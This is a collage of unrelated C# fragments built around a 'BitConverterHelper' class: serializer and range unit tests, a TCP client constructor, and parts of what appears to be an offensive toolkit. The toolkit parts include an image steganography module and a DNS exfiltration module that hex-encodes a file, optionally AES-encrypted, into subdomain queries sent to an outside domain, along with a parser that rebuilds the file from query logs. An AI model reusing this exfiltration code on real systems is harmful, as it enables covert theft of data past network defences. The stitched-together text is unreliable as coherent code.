int ReadMessageLength(Stream stream)
{
// Asignamos el tamaño del mensaje
switch (_HeaderLength)
{
case 1: return(stream.ReadByte());
case 2:
{
byte[] bxf = new byte[_HeaderLength];
ReadFull(stream, bxf, 0, _HeaderLength);
return(BitConverterHelper.ToUInt16(bxf, 0));
}
case 3:
{
byte[] bxf = new byte[_HeaderLength];
ReadFull(stream, bxf, 0, _HeaderLength);
return((int)BitConverterHelper.ToUInt24(bxf, 0));
}
case 4:
{
byte[] bxf = new byte[_HeaderLength];
ReadFull(stream, bxf, 0, _HeaderLength);
return(BitConverterHelper.ToInt32(bxf, 0));
}
default: throw (new ProtocolException());
}
}
void WriteLengthInPacket(byte[] bff, int index, int length)
{
// Append length to header
switch (_HeaderLength)
{
case 1:
{
bff[index] = (byte)(length);
break;
}
case 2:
{
byte[] bft = BitConverterHelper.GetBytesUInt16((ushort)(length));
Array.Copy(bft, 0, bff, index, _HeaderLength);
break;
}
case 3:
{
byte[] bft = BitConverterHelper.GetBytesUInt24((uint)(length));
Array.Copy(bft, 0, bff, index, _HeaderLength);
break;
}
case 4:
{
byte[] bft = BitConverterHelper.GetBytesInt32(length);
Array.Copy(bft, 0, bff, index, _HeaderLength);
break;
}
}
}
public static void GetBytes_Throws_FormatException(string input)
{
// Arrange
// Act
Assert.Throws <FormatException>(() => BitConverterHelper.GetBytes(input));
// Assert
}
public void Ctor()
{
_arrayPool = ArrayPool <byte> .Create();
var helper = new BitConverterHelper(TcpClientIoOptions.Default.RegisterConverter(new TcpUtf8StringConverter()));
_serializer = new TcpSerializer <Mock>(helper, l => _arrayPool.Rent(l));
_deserializer = new TcpDeserializer <long, Mock>(helper);
}
public void Ctor()
{
_bitConverterHelper = new BitConverterHelper(
new TcpClientIoOptions()
.RegisterConverter(new TcpUtf8StringConverter())
.RegisterConverter(new TcpGuidConverter())
.RegisterConverter(new TcpDateTimeConverter())
);
}
/// <summary>
/// Genera un TCP SocketManager del array de bytes de los datos solicitados
/// </summary>
/// <param name="codec">Codec para la obtención</param>
/// <param name="stream">Stream</param>
/// <returns>Devuelve la clase TCPSocketMsgManager</returns>
public static IXPloitSocketMsg Deserialize(Encoding codec, Stream stream)
{
List <IXploitMsgHeader> headers = new List <IXploitMsgHeader>();
byte nheaders = (byte)stream.ReadByte();
byte type;
SerializableJSONReference tp;
if (nheaders > 0)
{
// Read headers
byte[] bl = new byte[3];
for (int x = 0; x < nheaders; x++)
{
// Read header Length
stream.Read(bl, 0, 3);
type = bl[2];
byte[] data = new byte[BitConverterHelper.ToUInt16(bl, 0) - 1];
stream.Read(data, 0, data.Length);
if (!_CacheHeaders.TryGetValue(type, out tp))
{
//no está en cache
EXPloitSocketMsgHeader e = (EXPloitSocketMsgHeader)type;
tp = e.GetAttribute <SerializableJSONReference>();
lock (_CacheHeaders)
{
_CacheHeaders.Add(type, tp);
}
}
headers.Add(tp.Deserialize <IXploitMsgHeader>(tp.Type, codec, data, 0, data.Length));
}
}
type = (byte)stream.ReadByte();
if (!_Cache.TryGetValue(type, out tp))
{
//no está en cache
EXPloitSocketMsg e = (EXPloitSocketMsg)type;
tp = e.GetAttribute <SerializableJSONReference>();
lock (_Cache)
{
_Cache.Add(type, tp);
}
}
IXPloitSocketMsg ret = tp.Deserialize <IXPloitSocketMsg>(tp.Type, codec, stream);
if (nheaders > 0)
{
ret.Headers.AddRange(headers);
}
return(ret);
}
public static void Long_ToGuid(long input, string expected)
{
// Arrange
// Act
var result = BitConverterHelper.ToGuid(input).ToString();
// Assert
Assert.Equal(expected, result);
}
public override byte[] GetBytes()
{
byte messageType = (byte)UdpMessageDataType.Answer;
byte[] idBytes = BitConverterHelper.GetBytesBigEndian(id);
byte[] answerToIdBytes = BitConverterHelper.GetBytesBigEndian(answerToId);
byte[] newBytes = idBytes.Prepend(messageType).Concat(answerToIdBytes).Concat(bytes).ToArray();
return(newBytes);
}
public static void GetBytes_String_HasNo_Dashes(string expected)
{
// Arrange
var input = BitConverter.ToString(Encoding.UTF8.GetBytes(expected)).Replace("-", string.Empty);
// Act
var result = Encoding.UTF8.GetString(BitConverterHelper.GetBytes(input));
// Assert
Assert.Equal(expected, result);
}
bool parse(string line, int filedIdLength, int packetNumLength, out string fileId, out packet packet)
{
fileId = "";
packet = null;
if (string.IsNullOrEmpty(line))
{
return(false);
}
try
{
Match m = Regex.Match(line, RegexData);
if (m == null || !m.Success)
{
return(false);
}
string dom;
string data = m.Value.Trim();
StringHelper.Split(data, '.', out data, out dom);
if (filedIdLength > 0)
{
fileId = data.Substring(0, filedIdLength);
if (string.IsNullOrEmpty(fileId))
{
return(false);
}
}
int packetNum = 0;
if (packetNumLength > 0)
{
packetNum = BitConverterHelper.ToInt32(HexHelper.FromHexString(data.Substring(filedIdLength, packetNumLength)), 0);
}
packet = new packet()
{
Data = HexHelper.FromHexString(data.Remove(0, filedIdLength + packetNumLength)), Order = packetNum
};
return(true);
}
catch
{
return(false);
}
}
public void AddChunkThatCompleteBoth()
{
// Arrange
var range = SingleRange.Range(1, SingleRange.MaxValue);
range.Range(SingleRange.MinValue, -1);
// Assume
AssertChunks(range, SingleRange.MinValue, -1, 1, SingleRange.MaxValue);
// Act
range.Range(BitConverterHelper.Next(-1F), BitConverterHelper.Previous(1F));
// Assert
AssertChunks(range, SingleRange.MinValue, SingleRange.MaxValue);
}
public void AddChunkThatCompleteBoth()
{
// Arrange
var range = DoubleRange.Range(1, double.MaxValue);
range.Range(double.MinValue, -1);
// Assume
AssertChunks(range, double.MinValue, -1, 1, double.MaxValue);
// Act
range.Range(BitConverterHelper.Next((double)-1), BitConverterHelper.Previous((double)1));
// Assert
AssertChunks(range, double.MinValue, double.MaxValue);
}
public void BaseConvertersTest(bool reverse)
{
var helper = new BitConverterHelper(Converters);
var str = "Hello my friend";
var stringResult = helper.ConvertToBytes(str, typeof(string), reverse);
var stringResultBack = helper.ConvertFromBytes(new ReadOnlySequence <byte>(stringResult), typeof(string), reverse);
Assert.AreEqual(str, stringResultBack);
var datetime = DateTime.Now;
var dateTimeResult = helper.ConvertToBytes(datetime, typeof(DateTime), reverse);
var dateTimeResultBack = helper.ConvertFromBytes(new ReadOnlySequence <byte>(dateTimeResult), typeof(DateTime), reverse);
Assert.AreEqual(datetime, dateTimeResultBack);
var guid = Guid.NewGuid();
var guidResult = helper.ConvertToBytes(guid, typeof(Guid), reverse);
var guidResultBack = helper.ConvertFromBytes(new ReadOnlySequence <byte>(guidResult), typeof(Guid), reverse);
Assert.AreEqual(guid, guidResultBack);
}
private TcpClientIo(TcpClientIoOptions tcpClientIoOptions, ILogger <TcpClientIo <TId, TRequest, TResponse> > logger)
{
var pipe = new Pipe();
Id = Guid.NewGuid();
_logger = logger;
_options = tcpClientIoOptions ?? TcpClientIoOptions.Default;
_batchRules = TcpBatchRules <TResponse> .Default;
_baseCancellationTokenSource = new CancellationTokenSource();
_baseCancellationToken = _baseCancellationTokenSource.Token;
_bufferBlockRequests = new BufferBlock <SerializedRequest>();
var middleware = new MiddlewareBuilder <ITcpBatch <TResponse> >()
.RegisterCancellationActionInWait((tcs, hasOwnToken) =>
{
if (_disposing || hasOwnToken)
{
tcs.TrySetCanceled();
}
else if (!_disposing && _pipelineReadEnded)
{
tcs.TrySetException(TcpClientIoException.ConnectionBroken());
}
})
.RegisterDuplicateActionInSet((batch, newBatch) => _batchRules.Update(batch, newBatch.Single()))
.RegisterCompletionActionInSet(() => _consumingResetEvent.Set());
_completeResponses = new WaitingDictionary <TId, ITcpBatch <TResponse> >(middleware);
_arrayPool = ArrayPool <byte> .Create();
var bitConverterHelper = new BitConverterHelper(_options);
_serializer = new TcpSerializer <TRequest>(bitConverterHelper, length => _arrayPool.Rent(length));
_deserializer = new TcpDeserializer <TId, TResponse>(bitConverterHelper);
_writeResetEvent = new AsyncManualResetEvent();
_readResetEvent = new AsyncManualResetEvent();
_consumingResetEvent = new AsyncManualResetEvent();
_deserializePipeReader = pipe.Reader;
_deserializePipeWriter = pipe.Writer;
}
/// <inheritdoc /> protected override double GetNext(double n) => BitConverterHelper.Next(n);
/// <inheritdoc /> protected override double GetPrevious(double n) => BitConverterHelper.Previous(n);
public static void RegisterConverters(BitConverterHelper bitConverterHelper)
{
bitConverterHelper.RegisterConverter(new BinaryUtf8StringConverter());
bitConverterHelper.RegisterConverter(new BinaryGuidConverter());
bitConverterHelper.RegisterConverter(new BinaryDateTimeConverter());
}
public BinarySerializerContext(BitConverterHelper helper, Type type)
{
BitConverterHelper = helper;
ReflectionData = new ReflectionData(type);
}
/// <inheritdoc /> protected override decimal GetNext(decimal n) => BitConverterHelper.Next(n);
public virtual IXPloitSocketMsg Read(Stream stream)
{
// Comprobar que la cabera es menor que el paquere
if (stream == null)
{
return(null);
}
int index = 0, msgLength;
byte[] bxfData;
lock (stream)
{
msgLength = ReadMessageLength(stream);
// Control de tamaño máximo
if (msgLength >= _MaxLength)
{
if (msgLength == _MaxLength)
{
// Mensaje partido, parsear
byte[] parts = new byte[PartsHeaderLength];
ReadFull(stream, parts, 0, PartsHeaderLength);
uint iparts = BitConverterHelper.ToUInt24(parts, 0);
using (MemoryStream ms = new MemoryStream())
{
for (int x = 0; x < iparts; x++)
{
// Tamaño
msgLength = ReadMessageLength(stream);
bxfData = new byte[msgLength];
ReadFull(stream, bxfData, 0, msgLength);
ms.Write(bxfData, 0, msgLength);
}
if (_Crypt == null)
{
ms.Seek(0, SeekOrigin.Begin);
return(IXPloitSocketMsg.Deserialize(_Codec, ms));
}
bxfData = ms.ToArray();
msgLength = bxfData.Length;
}
}
else
{
throw (new ProtocolException());
}
}
else
{
bxfData = new byte[msgLength];
ReadFull(stream, bxfData, 0, msgLength);
}
}
//Log(msg, index - 4, length + 4, false, cl.Parent.IsServer);
if (_Crypt != null)
{
//desencriptamos el mensaje
bxfData = _Crypt.Decrypt(bxfData, index, ref msgLength);
if (bxfData == null)
{
return(null);
}
index = 0;
}
return(IXPloitSocketMsg.Deserialize(_Codec, bxfData, index, msgLength));
}
public static BinarySerializerContext GetOrAddContext(Type typeData, BitConverterHelper helper) => Cache.GetOrAdd(typeData, type => new BinarySerializerContext(helper, type));
public void BitConverterToBytesTest(object obj, int expected, bool reverse)
{
var converter = new BitConverterHelper(new TcpClientIoOptions());
Assert.That(converter.ConvertToBytes(obj, obj.GetType()).Length == expected, "converter.ConvertToBytes(obj, obj.GetType()).Length == expected");
}
public override bool Run()
{
if (!LocalFileRead.Exists)
{
return(false);
}
AESHelper aes = AESHelper.Create(this);
if (aes != null)
{
WriteInfo("Using AES Encryption");
}
else
{
WriteError("Read/Write in RawMode (without any Encryption)");
}
using (Bitmap img = (Bitmap)Image.FromFile(LocalFileRead.FullName))
{
switch (Mode)
{
case EMode.Write:
{
if (!LocalFileWrite.Exists)
{
WriteError("In this mode LocalFileWrite must exists, and will be replaced with the result image");
return(false);
}
WriteInfo("Start reading file");
byte[] data = File.ReadAllBytes(LocalFileWrite.FullName);
if (aes != null)
{
data = aes.Encrypt(data);
}
byte[] header = BitConverterHelper.GetBytesInt32(data.Length);
int totalSize = data.Length + header.Length;
int av = CalculateMaxLength(img.Width, img.Height);
WriteInfo("Bytes to encode", GetSize(totalSize), ConsoleColor.Green);
WriteInfo("Bytes available", GetSize(av), ConsoleColor.DarkCyan);
if (totalSize <= av)
{
WriteInfo("Its viable!");
}
else
{
WriteError("You need a image more larger or a message more shorter ... sorry :(");
return(false);
}
// crear array binario
StringBuilder binary = new StringBuilder();
for (int x = 0, m = header.Length; x < m; x++)
{
binary.Append(Convert.ToString(header[x], 2).PadLeft(8, '0'));
}
for (int x = 0, m = data.Length; x < m; x++)
{
binary.Append(Convert.ToString(data[x], 2).PadLeft(8, '0'));
}
char[] sb = binary.ToString().ToCharArray();
int sbl = sb.Length;
binary.Clear();
// Cadena binaria creada
int width = img.Width;
int height = img.Height;
bool toLower = true;
WriteInfo("Start writing image");
StartProgress(width * height);
byte r, g, b;
int index = 0, current = 0;
for (int x = 0; x < width; x++)
{
for (int y = 0; y < height; y++)
{
r = GetBinary(sb, ref index, sbl);
g = GetBinary(sb, ref index, sbl);
b = GetBinary(sb, ref index, sbl);
Color clr = img.GetPixel(x, y);
clr = SetColor(clr, r, g, b, toLower);
img.SetPixel(x, y, clr);
current++;
WriteProgress(current);
}
}
EndProgress();
WriteInfo("Writing output");
img.Save(LocalFileWrite.FullName, ImageFormat.Png);
break;
}
case EMode.Read:
{
WriteInfo("Start reading image");
int width = img.Width;
int height = img.Height;
int av = CalculateMaxLength(width, height);
StartProgress(width * height);
byte[] data = null;
byte[] header = new byte[4];
string binary = "";
int dataLength = 0;
int dataIndex = 0;
int headerReaded = 0;
byte b;
int current = 0;
for (int x = 0; x < width; x++)
{
for (int y = 0; y < height; y++)
{
Color clr = img.GetPixel(x, y);
if (Append(ref binary, out b, clr.R % 2 == 0, clr.G % 2 == 0, clr.B % 2 == 0))
{
if (headerReaded < 4)
{
header[headerReaded] = b;
headerReaded++;
if (headerReaded == 4)
{
dataLength = BitConverterHelper.ToInt32(header, 0);
if (dataLength > av)
{
EndProgress();
WriteInfo("Image maybe contains", GetSize(dataLength), ConsoleColor.Green);
WriteError("Max bytes available " + GetSize(av));
return(false);
}
data = new byte[dataLength];
}
}
else
{
data[dataIndex] = b;
dataIndex++;
if (dataIndex >= dataLength)
{
x = width + 1;
break;
}
}
}
current++;
WriteProgress(current);
}
}
EndProgress();
if (aes != null)
{
WriteInfo("Start decrypting file", GetSize(data.Length), ConsoleColor.Green);
data = aes.Decrypt(data);
}
if (data == null)
{
WriteInfo("Error decrypting file");
return(false);
}
WriteInfo("Writing output", GetSize(data.Length), ConsoleColor.Green);
File.WriteAllBytes(LocalFileWrite.FullName, data);
break;
}
}
}
return(true);
}
/// <summary>
/// Obtiene el array de bytes de la clase actual
/// </summary>
/// <param name="codec">Codec para la obtención</param>
/// <param name="header">Cabecera del mensaje</param>
/// <returns>Devuelve el Array de Bytes de la clase actual</returns>
public byte[] Serialize(Encoding codec, byte[] header)
{
SerializableJSONReference tp;
EXPloitSocketMsg type = this.Type;
if (header == null)
{
header = new byte[1];
}
else
{
Array.Resize(ref header, header.Length + 1);
}
if (Headers.HaveValidHeaders)
{
// Headers length
byte hay = (byte)Headers.Count;
header[header.Length - 1] = hay;
// Headers
int l = 0;
List <byte[]> ret = new List <byte[]>();
foreach (IXploitMsgHeader h in Headers)
{
SerializableJSONReference tp2;
EXPloitSocketMsgHeader type2 = h.Type;
// Message
if (!_CacheHeaders.TryGetValue((byte)type2, out tp2))
{
//no está en cache
tp2 = type2.GetAttribute <SerializableJSONReference>();
lock (_CacheHeaders) { _CacheHeaders.Add((byte)type2, tp2); }
}
byte[] data = tp2.Serialize(codec, (byte)type2, h, null);
ret.Add(data);
l += data.Length;
}
int x = header.Length;
Array.Resize(ref header, x + l + (hay * 2));
foreach (byte[] b in ret)
{
ushort lb = (ushort)b.Length;
byte[] bl = BitConverterHelper.GetBytesUInt16(lb);
Array.Copy(bl, 0, header, x, 2);
x += 2;
Array.Copy(b, 0, header, x, lb);
x += lb;
}
ret.Clear();
}
// Message
if (!_Cache.TryGetValue((byte)type, out tp))
{
//no está en cache
tp = type.GetAttribute <SerializableJSONReference>();
lock (_Cache) { _Cache.Add((byte)type, tp); }
}
return(tp.Serialize(codec, (byte)type, this, header));
}
public void BitConverterFromBytesTest(byte[] bytes, Type type, bool reverse)
{
var converter = new BitConverterHelper(new TcpClientIoOptions());
Assert.That(converter.ConvertFromBytes(new ReadOnlySequence <byte>(bytes), type, reverse).GetType() == type, "converter.ConvertFromBytes(bytes, type, reverse).GetType() == type");
}
/// <inheritdoc /> protected override decimal GetPrevious(decimal n) => BitConverterHelper.Previous(n);
public virtual int Send(IXPloitSocketMsg msg, Stream stream)
{
if (stream == null || msg == null)
{
return(0);
}
byte[] bff;
if (_Crypt != null)
{
bff = msg.Serialize(_Codec, null);
bff = _Crypt.Encrypt(bff, _HeaderPadding);
}
else
{
bff = msg.Serialize(_Codec, _HeaderPadding);
}
int length = bff.Length;
if (length == 0)
{
return(0);
}
if (length >= _MaxLength)
{
// Dividir en partes mas pequeñas
int lengthH = length - _HeaderLength;
int maxPacketLength = _MaxLength - _HeaderLength;
uint packets = (uint)(lengthH / maxPacketLength);
if (lengthH % maxPacketLength != 0)
{
packets++;
}
byte[] pak = BitConverterHelper.GetBytesUInt24(packets);
int write = 0;
int index = _HeaderLength;
int currentLength;
byte[] data = new byte[_MaxLength]; // Guid-length
lock (stream)
{
// Header and Parts
stream.Write(_HeaderPadding, 0, _HeaderLength);
stream.Write(pak, 0, PartsHeaderLength);
for (int x = 0; x < packets; x++)
{
currentLength = Math.Min(length - index, maxPacketLength);
WriteLengthInPacket(data, 0, currentLength);
Array.Copy(bff, index, data, _HeaderLength, currentLength);
index += currentLength;
stream.Write(data, 0, currentLength + _HeaderLength);
write += currentLength + _HeaderLength;
}
}
return(write);
}
// Append length to header
WriteLengthInPacket(bff, 0, length - _HeaderLength);
//Log(bff, 0, length, true, cl.Parent.IsServer);
stream.Write(bff, 0, length);
return(length);
}
/// <inheritdoc /> protected override float GetPrevious(float n) => BitConverterHelper.Previous(n);
public override bool Run()
{
if (!File.Exists)
{
return(false);
}
DnsClient dns = DnsServer == null ? DnsClient.Default : new DnsClient(DnsServer, 10000);
bool ipv6 = dns.Servers[0].AddressFamily == System.Net.Sockets.AddressFamily.InterNetworkV6;
// Get counter
byte[] g;
switch (Convert.ToInt32(Target["Size"]))
{
case 8: { g = BitConverterHelper.GetBytesInt64(CounterHelper.GetNextInt64()); break; }
case 4: { g = BitConverterHelper.GetBytesUInt32(CounterHelper.GetNextUInt32()); break; }
case 2: { g = BitConverterHelper.GetBytesUInt16(CounterHelper.GetNextUInt16()); break; }
case 1: { g = new byte[] { CounterHelper.GetNextByte() }; break; }
default: { g = BitConverterHelper.GetBytesInt64(DateTime.UtcNow.ToBinary()); break; }
}
// Copy file id
bool sendPacketOrder = SendPacketOrder;
int headerLength = g.Length;
if (sendPacketOrder)
{
headerLength += 4; // packetNum
}
byte[] data = new byte[63 / 2]; // hex 2 bytes per byte
Array.Copy(g, data, g.Length);
AESHelper aes = AESHelper.Create(this);
if (aes != null)
{
WriteInfo("Using AES Encryption");
}
else
{
WriteError("Send in RawMode (without any Encryption)");
}
WriteInfo("Start sending file", HexHelper.Buffer2Hex(g, 0, g.Length), ConsoleColor.Green);
byte[] crypted = null;
if (aes != null)
{
using (Stream fs = File.OpenRead())
crypted = aes.Encrypt(fs, false, null);
}
int position = 0;
using (Stream fs = (crypted == null ? (Stream)File.OpenRead() : (Stream) new MemoryStream(crypted)))
{
int total = (int)(fs.Length / (data.Length - headerLength));
if (fs.Length % (data.Length - headerLength) != 0)
{
total++;
}
WriteInfo("Sending " + (total) + " dns querys ...");
StartProgress(total);
while (true)
{
// copy counter
if (sendPacketOrder)
{
byte[] p = BitConverterHelper.GetBytesInt32(position);
Array.Copy(p, 0, data, headerLength - 4, 4);
}
position++;
// read
int lee = fs.Read(data, headerLength, data.Length - headerLength);
if (lee <= 0)
{
break;
}
// generateFile
string name = HexHelper.Buffer2Hex(data, 0, headerLength + lee) + "." + DomainName;
dns.Resolve(name, ipv6 ? RecordType.Aaaa : RecordType.A);
if (Sleep > 0)
{
Thread.Sleep(Sleep);
}
WriteProgress(position);
}
EndProgress();
}
WriteInfo("Done");
return(true);
}
/// <inheritdoc /> protected override float GetNext(float n) => BitConverterHelper.Next(n);
